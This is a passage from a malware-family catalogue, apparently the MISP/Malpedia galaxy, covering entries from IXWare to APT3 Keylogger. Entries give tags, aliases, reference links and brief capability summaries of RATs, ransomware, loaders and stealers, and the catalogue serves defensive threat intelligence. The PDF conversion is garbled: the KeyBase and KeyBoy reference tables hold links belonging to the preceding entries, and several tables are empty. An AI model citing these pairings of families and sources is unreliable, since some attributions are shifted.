<td><a href="https://unit42.paloaltonetworks.com/atoms/shallowtaurus/">https://unit42.paloaltonetworks.com/atoms/shallowtaurus/</a></td>
</tr>
</tbody>
</table>
IXWare

The tag is: `misp-galaxy:malpedia="IXWare"`

IXWare is also known as:

Table 3311. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ixware">https://malpedia.caad.fkie.fraunhofer.de/details/win.ixware</a></td>
</tr>
<tr>
<td><a href="https://fr3d.hk/blog/ixware-kids-will-be-skids">https://fr3d.hk/blog/ixware-kids-will-be-skids</a></td>
</tr>
</tbody>
</table>

Jackal

According to Kaspersky Labs, this malware tool set has been used by APT group GoldenJackal, which has been observed since 2019 and which usually targets government and diplomatic entities in the Middle East and South Asia with espionage. It consists of multiple components and is written in .NET.

The tag is: `misp-galaxy:malpedia="Jackal"`

Jackal is also known as:

Table 3312. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jackal">https://malpedia.caad.fkie.fraunhofer.de/details/win.jackal</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/goldenjackal-apt-group/109677/">https://securelist.com/goldenjackal-apt-group/109677/</a></td>
</tr>
</tbody>
</table>

JackPOS

The tag is: `misp-galaxy:malpedia="JackPOS"`

JackPOS is also known as:

Table 3313. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos</a></td>
</tr>
</tbody>
</table>
Jaff

The tag is: misp-galaxy:malpedia="Jaff"

Jaff is also known as:

Table 3314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff">https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff</a></td>
</tr>
<tr>
<td><a href="http://malware-traffic-analysis.net/2017/05/16/index.html">http://malware-traffic-analysis.net/2017/05/16/index.html</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://clairelevin.github.io/malware/2023/02/14/jaff.html">https://clairelevin.github.io/malware/2023/02/14/jaff.html</a></td>
</tr>
</tbody>
</table>

Jager Decryptor

The tag is: misp-galaxy:malpedia="Jager Decryptor"

Jager Decryptor is also known as:

Table 3315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor">https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor</a></td>
</tr>
</tbody>
</table>

Jaku

The tag is: misp-galaxy:malpedia="Jaku"

Jaku is also known as:

- C3PRO-RACOON
- EQUINOX
- KCNA Infostealer
- Reconcyc

Table 3316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku">https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/whos-really-spreading-through-the-bright-star/68978/">https://securelist.com/whos-really-spreading-through-the-bright-star/68978/</a></td>
</tr>
</tbody>
</table>
JanelaRAT

According to Zscaler, JanelaRAT is a heavily modified variant of BX RAT. Its focus is set on harvesting LATAM financial data and its method of extracting window titles for transmission underscores its targeted and stealthy nature. With an adaptive approach utilizing dynamic socket configuration and exploiting DLL side-loading from trusted sources, JanelaRAT poses a significant threat.

The tag is: misp-galaxy:malpedia="JanelaRAT"

JanelaRAT is also known as:

Table 3317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.janela_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.janela_rat</a></td>
</tr>
</tbody>
</table>

Janeleiro

The tag is: misp-galaxy:malpedia="Janeleiro"

Janeleiro is also known as:

Table 3318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.janeleiro">https://malpedia.caad.fkie.fraunhofer.de/details/win.janeleiro</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/04/06/janeleiro-time-traveler-new-old-banking-trojan-brazil/">https://www.welivesecurity.com/2021/04/06/janeleiro-time-traveler-new-old-banking-trojan-brazil/</a></td>
</tr>
</tbody>
</table>

jason

Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.
The tag is: *misp-galaxy:malpedia=*"jason"

jason is also known as:

Table 3319. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jason">https://malpedia.caad.fkie.fraunhofer.de/details/win.jason</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2019/06/06/apt34-jason-project/">https://marcoramilli.com/2019/06/06/apt34-jason-project/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-gypsy">https://www.secureworks.com/research/threat-profiles/cobalt-gypsy</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/P3pperP0tts/status/1135503765287657472">https://twitter.com/P3pperP0tts/status/1135503765287657472</a></td>
</tr>
</tbody>
</table>

Jasus

The tag is: *misp-galaxy:malpedia=*"Jasus"

Jasus is also known as:

Table 3320. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus">https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus</a></td>
</tr>
</tbody>
</table>

J Cry

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia=*"J Cry"

J Cry is also known as:

Table 3321. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jcry">https://malpedia.caad.fkie.fraunhofer.de/details/win.jcry</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IdoNaor1/status/1101936940297924608">https://twitter.com/IdoNaor1/status/1101936940297924608</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0xffff0800/status/1102078898320302080">https://twitter.com/0xffff0800/status/1102078898320302080</a></td>
</tr>
</tbody>
</table>

Jeno

Ransomware.

The tag is: *misp-galaxy:malpedia=*"Jeno"
Jeno is also known as:

- Jest
- Valeria

**Table 3322. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jeno">https://malpedia.caad.fkie.fraunhofer.de/details/win.jeno</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/04/jeno-ransomware.html">https://id-ransomware.blogspot.com/2020/04/jeno-ransomware.html</a></td>
</tr>
</tbody>
</table>

**JessieConTea**

JessieConTea is a remote access trojan that uses HTTP(S) for communication. It supports around 30 commands that include operations on the victim’s filesystem, basic process management, file exfiltration (both plain and zipped), and the download and execution of additional tools from the attacker’s arsenal. The commands are indexed by 32-bit integers, starting with the value 0x60D49D97.

The malware was delivered in-the-wild via trojanized applications like DeFi Wallet or Citrix Workspace.

JessieConTea generates POST parameters with a specific parameter name, jsessid, from which the initial part of its name is derived. Also, it contains a specific RTTI symbol ".?AVCHttpConn@@", which inspired the second part of the name. It uses RC4 for C&C traffic encryption.

The tag is: `misp-galaxy:malpedia="JessieConTea"`

JessieConTea is also known as:

**Table 3323. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea">https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-trojanized-defi-app/106195/">https://securelist.com/lazarus-trojanized-defi-app/106195/</a></td>
</tr>
</tbody>
</table>

**JhoneRAT**

Cisco Talos identified JhoneRAT in January 2020. The RAT is delivered through cloud services (Google Drive) and also submits stolen data to them (Google Drive, Twitter, ImgBB, GoogleForms). The actors using JhoneRAT target Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain and Lebanon.

The tag is: `misp-galaxy:malpedia="JhoneRAT"`
JhoneRAT is also known as:

Table 3324. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jhone_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.jhone_rat</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/">https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/01/jhonerat.html">https://blog.talosintelligence.com/2020/01/jhonerat.html</a></td>
</tr>
</tbody>
</table>

Jigsaw

According to PCrisk, Jigsaw is ransomware that uses the AES algorithm to encrypt various files stored on computers. Targeted files include .jpg, .docx, .mp3, .mp4, and many others.

The tag is: `misp-galaxy:malpedia="Jigsaw"`

Jigsaw is also known as:

Table 3325. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw">https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw</a></td>
</tr>
</tbody>
</table>

Jimmy

The tag is: `misp-galaxy:malpedia="Jimmy"`

Jimmy is also known as:

Table 3326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy">https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy</a></td>
</tr>
</tbody>
</table>

JLORAT

The tag is: `misp-galaxy:malpedia="JLORAT"`

JLORAT is also known as:

Table 3327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Joanap

The tag is: `misp-galaxy:malpedia="Joanap"`

Joanap is also known as:

Table 3328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap">https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://app.box.com/s/xyyord0b806e6or2nh92coyw2areyyx4">https://app.box.com/s/xyyord0b806e6or2nh92coyw2areyyx4</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/nickel-academy">https://www.secureworks.com/research/threat-profiles/nickel-academy</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-149A">https://www.us-cert.gov/ncas/analysis-reports/AR18-149A</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-149A">https://www.us-cert.gov/ncas/alerts/TA18-149A</a></td>
</tr>
</tbody>
</table>

Joao

The tag is: `misp-galaxy:malpedia="Joao"`

Joao is also known as:

Table 3329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.joao">https://malpedia.caad.fkie.fraunhofer.de/details/win.joao</a></td>
</tr>
</tbody>
</table>

win.JobCrypter

The tag is: `misp-galaxy:malpedia="win.JobCrypter"`

win.JobCrypter is also known as:

Table 3330. Table References
Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.jobcrypter

**Jolob**

The tag is: *misp-galaxy:malpedia="Jolob"

Jolob is also known as:

*Table 3331. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob">https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob</a></td>
</tr>
</tbody>
</table>

**JQJSNICKER**

The tag is: *misp-galaxy:malpedia="JQJSNICKER"

JQJSNICKER is also known as:

*Table 3332. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker">https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker</a></td>
</tr>
<tr>
<td><a href="http://marcmaiffret.com/vault7/">http://marcmaiffret.com/vault7/</a></td>
</tr>
</tbody>
</table>

**JripBot**

The tag is: *misp-galaxy:malpedia="JripBot"

JripBot is also known as:

*Table 3333. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot</a></td>
</tr>
</tbody>
</table>
JSOutProx

JSOutProx is a sophisticated attack framework built using both Javascript and .NET. It uses the .NET (de)serialization feature to interact with a Javascript file which is the core module running on a victim machine. Once the malware is run on the victim, the framework can load several plugins performing additional malicious activities on the target.

The tag is: *misp-galaxy:malpedia="JSOutProx"*

JSOutProx is also known as:

*Table 3334. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jsoutprox">https://malpedia.caad.fkie.fraunhofer.de/details/win.jsoutprox</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/zlab_team/status/1208022180241530882">https://twitter.com/zlab_team/status/1208022180241530882</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese">https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/">https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
</tbody>
</table>

JSSLoader

The tag is: *misp-galaxy:malpedia="JSSLoader"*

JSSLoader is also known as:

*Table 3335. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files">https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files</a></td>
</tr>
<tr>
<td><a href="https://malwarebytes.app.box.com/s/ym6r7o5hq0rx2nxjbctfv2sw5vx386ni">https://malwarebytes.app.box.com/s/ym6r7o5hq0rx2nxjbctfv2sw5vx386ni</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware">https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware</a></td>
</tr>
</tbody>
</table>
JuicyPotato

As described on the Github repository page, "A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM".

The tag is: misp-galaxy:malpedia="JuicyPotato"

JuicyPotato is also known as:

Table 3336. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato
https://github.com/ohpe/juicy-potato
**JUMPALL**

According to FireEye, JUMPALL is a malware dropper that has been observed dropping HIGHNOON/ZXSHELL/SOGU.

The tag is: `misp-galaxy:malpedia="JUMPALL"`

JUMPALL is also known as:

<table>
<thead>
<tr>
<th>Table 3337. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jumpall">https://malpedia.caad.fkie.fraunhofer.de/details/win.jumpall</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41/">https://content.fireeye.com/apt-41/rpt-apt41/</a></td>
</tr>
</tbody>
</table>

**Jupiter**

The tag is: `misp-galaxy:malpedia="Jupiter"`

Jupiter is also known as:

- EarlyRAT

<table>
<thead>
<tr>
<th>Table 3338. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter">https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter</a></td>
</tr>
</tbody>
</table>

**KAgent**

The tag is: `misp-galaxy:malpedia="KAgent"`

KAgent is also known as:

<table>
<thead>
<tr>
<th>Table 3339. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent">https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent</a></td>
</tr>
</tbody>
</table>

**Kami**

A Telegram bot with browser stealing capabilities, written using the .NET framework.
The tag is: misp-galaxy:malpedia="Kami"

Kami is also known as:

Table 3340. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kami">https://malpedia.caad.fkie.fraunhofer.de/details/win.kami</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jaydinbas/status/1604918636422070289">https://twitter.com/jaydinbas/status/1604918636422070289</a></td>
</tr>
</tbody>
</table>

Karagany

The tag is: misp-galaxy:malpedia="Karagany"

Karagany is also known as:

• Karagny

Table 3341. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany">https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-liberty">https://www.secureworks.com/research/threat-profiles/iron-liberty</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector">https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector</a></td>
</tr>
</tbody>
</table>

Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc. This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

The tag is: misp-galaxy:malpedia="Kardon Loader"

Kardon Loader is also known as:

Table 3342. Table References
Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

The tag is: misp-galaxy:malpedia="Karius"

Karius is also known as:

Table 3343. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.karius">malpedia.caad.fkie.fraunhofer.de/details/win.karius</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/banking-trojans-development/">research.checkpoint.com/banking-trojans-development/</a></td>
</tr>
</tbody>
</table>

Karkoff

The tag is: misp-galaxy:malpedia="Karkoff"

Karkoff is also known as:

- CACTUSPIPE
- MailDropper
- OILYFACE

Table 3344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff">malpedia.caad.fkie.fraunhofer.de/details/win.karkoff</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-edgewater">www.secureworks.com/research/threat-profiles/cobalt-edgewater</a></td>
</tr>
</tbody>
</table>
Karma

Ransomware.

The tag is: `misp-galaxy:malpedia="Karma"

Karma is also known as:

Table 3345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.karma">https://malpedia.caad.fkie.fraunhofer.de/details/win.karma</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/">https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=hgz5gZB3DxE">https://www.youtube.com/watch?v=hgz5gZB3DxE</a></td>
</tr>
</tbody>
</table>

KasperAgent

The tag is: `misp-galaxy:malpedia="KasperAgent"

KasperAgent is also known as:

Table 3346. Table References
Kazuar

The tag is: `misp-galaxy:malpedia="Kazuar"`

Kazuar is also known as:

Table 3347. Table References

KazyLoader

According to Karsten Hahn, a straightforward loader that runs assemblies from images.

The tag is: `misp-galaxy:malpedia="KazyLoader"`

KazyLoader is also known as:

Table 3348. Table References
**KDC Sponge**

The tag is: *misp-galaxy:malpedia=*“KDC Sponge”*

KDC Sponge is also known as:

**Table 3349. Table References**

Links

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge](https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge)
- [https://us-cert.cisa.gov/ncas/alerts/aa21-336a](https://us-cert.cisa.gov/ncas/alerts/aa21-336a)

**Kegotip**

The tag is: *misp-galaxy:malpedia=*“Kegotip”*

Kegotip is also known as:

**Table 3350. Table References**

Links

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip](https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip)
- [https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/](https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/)
- [https://intel471.com/blog/a-brief-history-of-ta505](https://intel471.com/blog/a-brief-history-of-ta505)

**KEKW**

Ransomware.

The tag is: *misp-galaxy:malpedia=*“KEKW”*

KEKW is also known as:

- KEKW-Locker

**Table 3351. Table References**

Links

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.kekw](https://malpedia.caad.fkie.fraunhofer.de/details/win.kekw)
- [https://id-ransomware.blogspot.com/2020/03/kekw-ransomware.html](https://id-ransomware.blogspot.com/2020/03/kekw-ransomware.html)
**Kelihos**

The tag is: `misp-galaxy:malpedia="Kelihos"`

Kelihos is also known as:

<table>
<thead>
<tr>
<th>Table 3352. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos">https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/">https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Kelihos_botnet">https://en.wikipedia.org/wiki/Kelihos_botnet</a></td>
</tr>
</tbody>
</table>

**Keona**

The tag is: `misp-galaxy:malpedia="Keona"`

Keona is also known as:

<table>
<thead>
<tr>
<th>Table 3353. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.keona">https://malpedia.caad.fkie.fraunhofer.de/details/win.keona</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1536704209760010241">https://twitter.com/3xp0rtblog/status/1536704209760010241</a></td>
</tr>
</tbody>
</table>

**KerrDown**

The tag is: `misp-galaxy:malpedia="KerrDown"`

KerrDown is also known as:

<table>
<thead>
<tr>
<th>Table 3354. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown">https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown</a></td>
</tr>
</tbody>
</table>
Ketrican

Ketrican is a backdoor trojan used by APT 15.

The tag is: misp-galaxy:malpedia="Ketrican"

Ketrican is also known as:

Table 3355. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican">https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/">https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/">https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/</a></td>
</tr>
<tr>
<td><a href="https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/">https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/</a></td>
</tr>
</tbody>
</table>

Ketrum

Intezer found this family mid May 2020, which appears to be a merger of the family Ketrican and Okrum.

The tag is: misp-galaxy:malpedia="Ketrum"

Ketrum is also known as:

Table 3356. Table References
KeyBase

KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.

The tag is: `misp-galaxy:malpedia="KeyBase"

KeyBase is also known as:

- Kibex

Table 3357. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum">https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/">https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/</a></td>
</tr>
</tbody>
</table>

KeyBoy

The tag is: `misp-galaxy:malpedia="KeyBoy"

KeyBoy is also known as:

- TSSL

Table 3358. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase">https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/">https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/">https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/</a></td>
</tr>
<tr>
<td><a href="https://voidsec.com/keybase-en/">https://voidsec.com/keybase-en/</a></td>
</tr>
<tr>
<td><a href="https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html">https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/">https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/</a></td>
</tr>
</tbody>
</table>
APT3 Keylogger

The tag is: **misp-galaxy:malpedia="APT3 Keylogger"**

APT3 Keylogger is also known as:

*Table 3359. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3">https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3</a></td>
